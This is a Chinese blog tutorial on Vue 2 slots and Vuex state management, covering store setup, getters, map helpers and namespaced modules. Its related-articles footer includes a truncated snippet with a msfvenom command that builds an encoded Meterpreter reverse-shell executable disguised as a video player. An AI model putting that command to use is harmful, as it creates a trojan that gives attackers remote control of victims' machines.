VUE L ∠脚手架 插曹Vuex ⑩⑨

news2024/11/15 18:30:21

目录


文章有误请指正,如果觉得对你有用,请点三连一波,蟹蟹支持✨

                    ⡖⠒⠒⠒⠤⢄⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸   ⠀⠀⠀⡼⠀⠀⠀⠀ ⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢶⣲⡴⣗⣲⡦⢤⡏⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⠋⠉⠉⠓⠛⠿⢷⣶⣦⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠇⠀⠀⠀⠀⠀⠀⠘⡇⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡞⠀⠀⠀⠀⠀⠀⠀⢰⠇⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⡴⠊⠉⠳⡄⠀⢀⣀⣀⡀⠀⣸⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢸⠃⠀⠰⠆⣿⡞⠉⠀⠀⠉⠲⡏⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠈⢧⡀⣀⡴⠛⡇⠀⠈⠃⠀⠀⡗⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣱⠃⡴⠙⠢⠤⣀⠤⡾⠁⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⢀⡇⣇⡼⠁⠀⠀⠀⠀⢰⠃⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⣸⢠⣉⣀⡴⠙⠀⠀⠀⣼⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⡏⠀⠈⠁⠀⠀⠀⠀⢀⡇⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢸⠃⠀⠀⠀⠀⠀⠀⠀⡼⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⢸⠀⠀⠀⠀⠀⠀⠀⣰⠃⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⣀⠤⠚⣶⡀⢠⠄⡰⠃⣠⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⢀⣠⠔⣋⣷⣠⡞⠀⠉⠙⠛⠋⢩⡀⠈⠳⣄⠀⠀⠀⠀⠀⠀⠀
⠀⡏⢴⠋⠁⠀⣸⠁⠀⠀⠀⠀⠀ ⠀⣹⢦⣶⡛⠳⣄⠀⠀⠀⠀⠀
⠀⠙⣌⠳⣄⠀⡇   不能   ⡏⠀⠀  ⠈⠳⡌⣦⠀⠀⠀⠀
⠀⠀⠈⢳⣈⣻⡇   白嫖 ⢰⣇⣀⡠⠴⢊⡡⠋⠀⠀⠀⠀
⠀⠀⠀⠀⠳⢿⡇⠀⠀⠀⠀⠀⠀⢸⣻⣶⡶⠊⠁⠀⠀
⠀⠀⠀⠀⠀⢠⠟⠙⠓⠒⠒⠒⠒⢾⡛⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⣠⠏⠀⣸⠏⠉⠉⠳⣄⠀⠙⢆⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⡰⠃⠀⡴⠃⠀⠀⠀⠀⠈⢦⡀⠈⠳⡄⠀⠀⠀⠀⠀⠀⠀
⠀⠀⣸⠳⣤⠎⠀⠀⠀⠀⠀⠀⠀⠀⠙⢄⡤⢯⡀⠀⠀⠀⠀⠀⠀
⠀⠐⡇⠸⡅⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⡆⢳⠀⠀⠀⠀⠀⠀
⠀⠀⠹⡄⠹⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣇⠸⡆⠀⠀⠀⠀⠀
⠀⠀⠀⠹⡄⢳⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⡀⣧⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢹⡤⠳⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣷⠚⣆⠀⠀⠀⠀
⠀⠀⠀⡠⠊⠉⠉⢹⡀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡎⠉⠀⠙⢦⡀⠀
⠀⠀⠾⠤⠤⠶⠒⠊⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠙⠒⠲⠤⠽   

提示:以下是本篇文章正文内容

V u e j s Vuejs Vuejs


简介 : Vue 是一套用于构建用户界面的 渐进式 框架。与其它大型框架不同的是,Vue 被设计为可以自底向上逐层应用。Vue 的核心库只关注视图层,不仅易于上手,还便于与第三方库或既有项目整合。另一方面,当与现代化的工具链以及各种支持类库结合使用时,Vue 也完全能够为复杂的单页应用提供驱动。

  • 官方
  1. 中文 : https://cn.vuejs.org/
  2. 英文 : https://vuejs.org/
  3. Vue2API : https://v2.cn.vuejs.org/
  4. Vue2 相关包 : https://github.com/vuejs/awesome-vue
  5. Vue2 入门安装官方 :https://v2.cn.vuejs.org/v2/guide/installation.html
  6. Vue 相关插件 : https://awesomejs.dev/for/vue/

C L I CLI CLI 插槽 ❗

  • 作用:让父组件可以向子组件指定位置插入html结构,也是一种组件间通信的方式,适用于 父组件 ===> 子组件

  • 分类:默认插槽具名插槽作用域插槽

  • 使用方式 ↓

  1. 默认插槽
父组件中:
        <Category>
           <div>html结构1</div>
        </Category>
子组件中:
  		组件名称 → Category
        <template>
            <div>
               <!-- 定义插槽 -->
               <slot>插槽默认内容...</slot>
            </div>
        </template>
  1. 具名插槽:
父组件中:
        <Category>
            <template slot="center"> //第一种写法
              <div>html结构1</div>
            </template>

            <template v-slot:footer> //第二种写法
               <div>html结构2</div>
            </template>
        </Category>
子组件中:
  		组件名称 → Category
        <template>
            <div>
               <!-- 定义插槽 -->
               <slot name="center">插槽默认内容...</slot>
               <slot name="footer">插槽默认内容...</slot>
            </div>
        </template>
  1. 作用域插槽:

    1. 理解:数据在组件的自身,但根据数据生成的结构需要组件的使用者来决定。(games数据在Category组件中,但使用数据所遍历出来的结构由App组件决定)

    2. 具体编码:

父组件中:↓

	<Category>
		<template scope="scopeData"> //第一种写法
			<!-- 生成的是ul列表 -->
			<ul>
				<li v-for="g in scopeData.games" :key="g">{{g}}</li>
			</ul>
		</template>
	</Category>

	<Category>
		<template slot-scope="scopeData"> //第二种写法
			<!-- 生成的是h4标题 -->
			<h4 v-for="g in scopeData.games" :key="g">{{g}}</h4>
		</template>
	</Category>
子组件中:↓
	   组件名称 → Category
       <template>
           <div>
               <slot :games="games"></slot>
           </div>
       </template>
	
       <script>
           export default {
               name:'Category',
               props:['title'],
               //数据在子组件自身
               data() {
                   return {
                       games:['全名吃鸡','QQ飞车','地下城勇士','元神']
                   }
               },
           }
       </script>

C L I CLI CLI V u e X VueX VueX

    1、概念

  • 在Vue中实现集中式状态(数据)管理的一个Vue插件,对Vue应用中多个组件的共享状态进行集中式的管理(读/写),也是一种组件间通信的方式,且适用于任意组件间通信。

图示 ↓

在这里插入图片描述

    2、何时使用?

  • 多个组件需要共享数据时

  • 使用前图示 ↓

在这里插入图片描述

  • 使用后 ↓

请添加图片描述

    3、搭建 V u e x Vuex Vuex环境

  • 文件夹规范 Store / Vuex
  • Github 地址: https://github.com/vuejs/vuex
  • npm : https://www.npmjs.com/package/vuex
  • 安装 npm install vuex@3 (vue2 只能使用 vuex@3)
  • 使用步骤
  1. 创建文件 → src/store/index.js / vuex/…
//引入Vue核心库
import Vue from 'vue'
//引入Vuex
import Vuex from 'vuex'
//应用Vuex插件
Vue.use(Vuex)
   
//准备actions对象——响应组件中用户的动作
const actions = {}
//准备mutations对象——修改state中的数据
const mutations = {}
//准备state对象——保存具体的数据
const state = {}
   
//创建并暴露store
export default new Vuex.Store({
	actions,
	mutations,
	state
})
  1. main.js中创建vm时传入 store配置项
......
//引入store
import store from './store'
......
   
//创建vm
new Vue({
	el:'#app',
	render: h => h(App),
	store
})

    4、基本使用

  1. 初始化数据、配置actions、配置mutations,操作文件store.js
//引入Vue核心库
import Vue from 'vue'
//引入Vuex
import Vuex from 'vuex'
//引用Vuex
Vue.use(Vuex)

const actions = {
    //响应组件中加的动作
	jia(context,value){
		// console.log('actions中的jia被调用了',miniStore,value)
		context.commit('JIA',value)
	},
}

const mutations = {
    //执行加
	JIA(state,value){
		// console.log('mutations中的JIA被调用了',state,value)
		state.sum += value
	}
}

//初始化数据
const state = {
   sum:0
}

//创建并暴露store
export default new Vuex.Store({
	actions,
	mutations,
	state,
})
  1. 组件中读取vuex中的数据:$store.state.sum

  2. 组件中修改vuex中的数据:$store.dispatch('action中的方法名',数据)$store.commit('mutations中的方法名',数据)

备注:若没有网络请求或其他业务逻辑,组件中也可以越过actions,即不写dispatch,直接编写commit

    5、 G e t t e r s Getters Getters的使用

  1. 概念:当state中的数据需要经过加工后再使用时,可以使用getters加工。

  2. store.js中追加getters配置

......
const getters = {
	bigSum(state){
		return state.sum * 10
	}
}

//创建并暴露store
export default new Vuex.Store({
	......
	getters
})
  1. 组件中读取数据:$store.getters.bigSum

    6、四个map方法的使用

  1. mapState方法:用于帮助我们映射state中的数据为计算属性
//靠程序员自己亲自去写计算属性
/* sum(){
  return this.$store.state.sum
},
school(){
  return this.$store.state.school
},
subject(){
  return this.$store.state.subject
}, */

//mapState方法 ↓
import {mapState} from 'vuex'
computed: {
    //借助mapState生成计算属性:sum、school、subject(对象写法)
     ...mapState({sum:'sum',school:'school',subject:'subject'}),
         
    //借助mapState生成计算属性:sum、school、subject(数组写法)
    ...mapState(['sum','school','subject']),
},
  1. mapGetters方法:用于帮助我们映射getters中的数据为计算属性
computed: {
    //借助mapGetters生成计算属性:bigSum(对象写法)
    ...mapGetters({bigSum:'bigSum'}),

    //借助mapGetters生成计算属性:bigSum(数组写法)
    ...mapGetters(['bigSum'])
},
  1. mapActions方法:用于帮助我们生成与actions对话的方法,即:包含$store.dispatch(xxx)的函数
//程序员亲自写方法
/* incrementOdd(){
  this.$store.dispatch('jiaOdd',this.n)
},
incrementWait(){
  this.$store.dispatch('jiaWait',this.n)
}, */

//mapActions方法 ↓
//incrementOdd(需要传参不然默认传event)
methods:{
    //靠mapActions生成:incrementOdd、incrementWait(对象形式)
    ...mapActions({incrementOdd:'jiaOdd',incrementWait:'jiaWait'})

    //靠mapActions生成:incrementOdd、incrementWait(数组形式)
    ...mapActions(['jiaOdd','jiaWait'])
}
  1. mapMutations方法:用于帮助我们生成与mutations对话的方法,即:包含$store.commit(xxx)的函数
//程序员亲自写方法
/* increment(){
  this.$store.commit('JIA',this.n)
},
decrement(){
  this.$store.commit('JIAN',this.n)
}, */

//mapMutations方法 ↓
//increment(需要传参不然默认传event)
methods:{
    //靠mapActions生成:increment、decrement(对象形式)
    ...mapMutations({increment:'JIA',decrement:'JIAN'}),
    
    //靠mapMutations生成:JIA、JIAN(对象形式)
    ...mapMutations(['JIA','JIAN']),
}

备注:mapActions与mapMutations使用时,若需要传递参数需要:在模板中绑定事件时传递好参数,否则参数是事件对象

    7、模块化+命名空间

  1. 目的:让代码更好维护,让多种数据分类更加明确。

  2. 修改store.js

const countAbout = {
  namespaced:true,//开启命名空间
  state:{x:1},
  mutations: { ... },
  actions: { ... },
  getters: {
    bigSum(state){
       return state.sum * 10
    }
  }
}

const personAbout = {
  namespaced:true,//开启命名空间
  state:{ ... },
  mutations: { ... },
  actions: { ... }
}

const store = new Vuex.Store({
  modules: {
    countAbout,
    personAbout
  }
})
  1. 开启命名空间后,组件中读取state数据:
//方式一:自己直接读取
this.$store.state.personAbout.list
//方式二:借助mapState读取:
...mapState('countAbout',['sum','school','subject']),
  1. 开启命名空间后,组件中读取getters数据:
//方式一:自己直接读取
this.$store.getters['personAbout/firstPersonName']
//方式二:借助mapGetters读取:
...mapGetters('countAbout',['bigSum'])
  1. 开启命名空间后,组件中调用dispatch
//方式一:自己直接dispatch
this.$store.dispatch('personAbout/addPersonWang',person)
//方式二:借助mapActions:
...mapActions('countAbout',{incrementOdd:'jiaOdd',incrementWait:'jiaWait'})
  1. 开启命名空间后,组件中调用commit
//方式一:自己直接commit
this.$store.commit('personAbout/ADD_PERSON',person)
//方式二:借助mapMutations:
...mapMutations('countAbout',{increment:'JIA',decrement:'JIAN'}),

总结

以上是个人学习Vue的相关知识点,一点一滴的记录了下来,有问题请评论区指正,共同进步,这才是我写文章的原因之,如果这篇文章对您有帮助请三连支持一波

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/693201.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于Scrcpy的Android手机屏幕投影到电脑教程

基于Scrcpy的Android手机屏幕投影到电脑教程 文章目录 基于Scrcpy的Android手机屏幕投影到电脑教程一&#xff0c;前言二&#xff0c;具体步骤1.软件下载2.环境配置 三&#xff0c;基于Scrcpy的手机投屏教程1.基于Scrcpy的有线手机投屏2.无线投屏 一&#xff0c;前言 在执行某…

Spring学习(一)(IoC和DI)

1.Spring是什么&#xff1f;&#xff1f;&#xff1f; 天天都能听到Spring&#xff0c;Spring&#xff0c;Spring。这东西到底是什么东西&#xff0c;是一个框架。没错通常所说的 Spring 指的是 Spring Framework&#xff08;Spring 框架&#xff09;&#xff0c;它是⼀个开源…

当RPA遇到ChatGPT, 有哪些好玩的玩法

实在RPA于2023年4月7日发布了 6.7.0 SP3&#xff0c;其中最引人注目的亮点是与ChatGPT的紧密集成 。这种集成为用户提供了全新的玩法和体验&#xff0c;使他们能够与智能模型进行即时对话和交互&#xff0c;从而提高工作效率和创造力。用户可以将ChatGPT作为虚拟助手&#xff0…

opencv C++ 识别照片中的人脸

//识别照片中的人脸 1 #include <opencv2/core/core.hpp> #include <opencv2/imgproc/imgproc.hpp> #include <opencv2/opencv.hpp> #include <vector>

机试复习*

通过一些例子重拾一些记不清了的c、c知识。 首先是位运算&#xff1a; 然后是一些其他语法、输入输出&#xff1a; //N诺一天重拾C语言 WebSite: https://noobdream.com//Major/majorinfo/1///目录://1&#xff1a;枚举类型switch语句//2&#xff1a;枚举类型//3&#xff1a;…

Unity的小工具

最近项目工期紧&#xff0c;所以更新少了&#xff0c;不过我遇到一些问题&#xff0c;当我的UI/序列帧过多的时候&#xff0c;我需要去选中UI转换成Sprite&#xff0c;而且用shift选中的时候&#xff0c;文件夹中上百个文件&#xff0c;中间混进一个其他格式的文件我还得一个一…

使用msfvenom获取windows shell

Windows 1. kali 使用 msfvenom 生成程序文件 使用一个编码器msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.133.66 LPORT=4444 -b "\x00" -e x86/shikata_ga_nai -i 10 -f exe -o /var/www/html/西瓜影音1.exe其中,-a 指…

AI创作与游戏开发(二)工具方法概述

大家好,Generative AI Model的出现,给游戏开发带来一些新的变革.比如像stable dissfusion可以快速的生成图像,设计人物的原型,背景设定.像DreamFusion和这个Magic3D这种模型,它可以通过文本快速的建模3D对象.还有像chatgpt这种可以编写故事啊可以做模拟人物对话.AItts可以进行语…

【面试题23】MyISAM和InnoDB的区别

文章目录 一、前言二、MyISAM和InnoDB的区别2.1 存储结构和存储方式2.2 索引数据结构2.3 主键索引和非主键索引2.4 索引上存放的数据 三、MyISAM和InnoDB如何进行选择3.1 电子商务网站&#xff1a;3.2 博客类网站3.3 数据仓库 总结 一、前言 本文已收录于PHP全栈系列专栏&#…

Springboot 整合Camunda7

文章目录 前言一、原项目引入camunda二、直接搭建新demo 前言 camunda7文档 与springboot版本兼容组合 一、原项目引入camunda 导入maven依赖 <dependency><groupId>org.camunda.bpm.springboot</groupId><artifactId>camunda-bpm-spring-boot-sta…

【全志v3s】LicheePi-zero BSP移植开发流程

文章目录 基于全志v3s的Lichee-zero BSP移植开发流程ubuntu 系统安装下载镜像换源备份源列表修改 sources.list 文件更改为清华镜像源更新并升级安装依赖库 安装交叉编译工具链安装编译器新建 tool 文件夹并进入下载交叉编译链创建文件夹并解压配置环境变量安装其他库验证是否安…

【C++】定制删除器和特殊类设计(饿汉和懒汉~)

文章目录 定制删除器一、设计一个只能在堆上(或栈上)创建的类二、单例模式 1.饿汉模式2.懒汉模式总结 定制删除器 我们在上一篇文章中讲到了智能指针&#xff0c;相信大家都会有一个问题&#xff0c;智能指针该如何辨别我们的资源是用new int开辟的还是new int[]开辟的呢&…

通用分页【上】

一、什么是通用分页&#xff1f; 通用分页是一种常用的分页方式&#xff0c;也被称为“前端分页”。它是指在获取数据的时候&#xff0c;将大量的数据分成若干页以便于用户查看和操作。通用分页通常是在前端完成的&#xff0c;也就是在用户界面上进行处理。通用分页的优点是可…

[Flask] 初识Flask

Flask是一个使用Python编写的轻量级Web应用框架 为了更好地管理Python应用&#xff0c;通常情况下都会在虚拟环境中安装Flask框架。在虚拟环境下&#xff0c;使用如下命令安装Flask pip install flask 我们可以直接使用pycharm工具创建虚拟环境&#xff0c;只需要在创建项目的…

chatGPT AI对话聊天绘画系统开发:打开人工智能AI社交聊天系统开发新时代

人工智能技术的快速发展和普及&#xff0c;催生了众多创新应用&#xff0c;其中&#xff0c;AI社交聊天系统成为当下市场的热门话题&#xff0c;本文将详细介绍开发属于自己的ChatGPT的过程&#xff0c;并探讨当下市场因Chat AI聊天系统所带来的影响性。 AI社交聊天系统的潜力与…

Springboot Mybatis 自定义顺序排序查询,指定某个字段

前言 与本文无关 "我进去了" ....... 正文 今天要讲些什么&#xff1f; 其实很简单&#xff0c;就是查询数据的时候&#xff0c;想根据自己指定的字段的自定义顺序&#xff0c;做排序查询数据。 本篇文章会讲到的几个点 &#xff1a; 1. 单纯sql 怎么实现 排序2. …

miniconda 安装 windows+linux

虽然常用anaconda&#xff0c;但是有时候只需要管理环境的时候&#xff0c;用miniconda更方便 如果想安装anaconda&#xff0c;可以参考这篇&#xff1a;anaconda安装 一、linux下 1.下载 链接&#xff1a;miniconda文档 cd /usr/localwget https://repo.anaconda.com/mini…

分布式处理框架 MapReduce

3.2.1 什么是MapReduce 源于Google的MapReduce论文(2004年12月)Hadoop的MapReduce是Google论文的开源实现MapReduce优点: 海量数据离线处理&易开发MapReduce缺点: 实时流式计算 3.2.2 MapReduce编程模型 MapReduce分而治之的思想 数钱实例&#xff1a;一堆钞票&#xff0…

Inno Setup 安装包制作软件

推荐一个开源的安装包制作软件&#xff1a;Inno Setup   Inno Setup是一个免费的安装制作软件&#xff0c;小巧、简便、精美是其最大特点&#xff0c;支持pascal脚本&#xff0c;能快速制作出标准Windows2000风格的安装界面&#xff0c;足以完成一般安装任务。 下载地址&…

进阶接口自动化测试——认证/代理/超时配置/错误异常(详细)

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 认证 1、基本认证…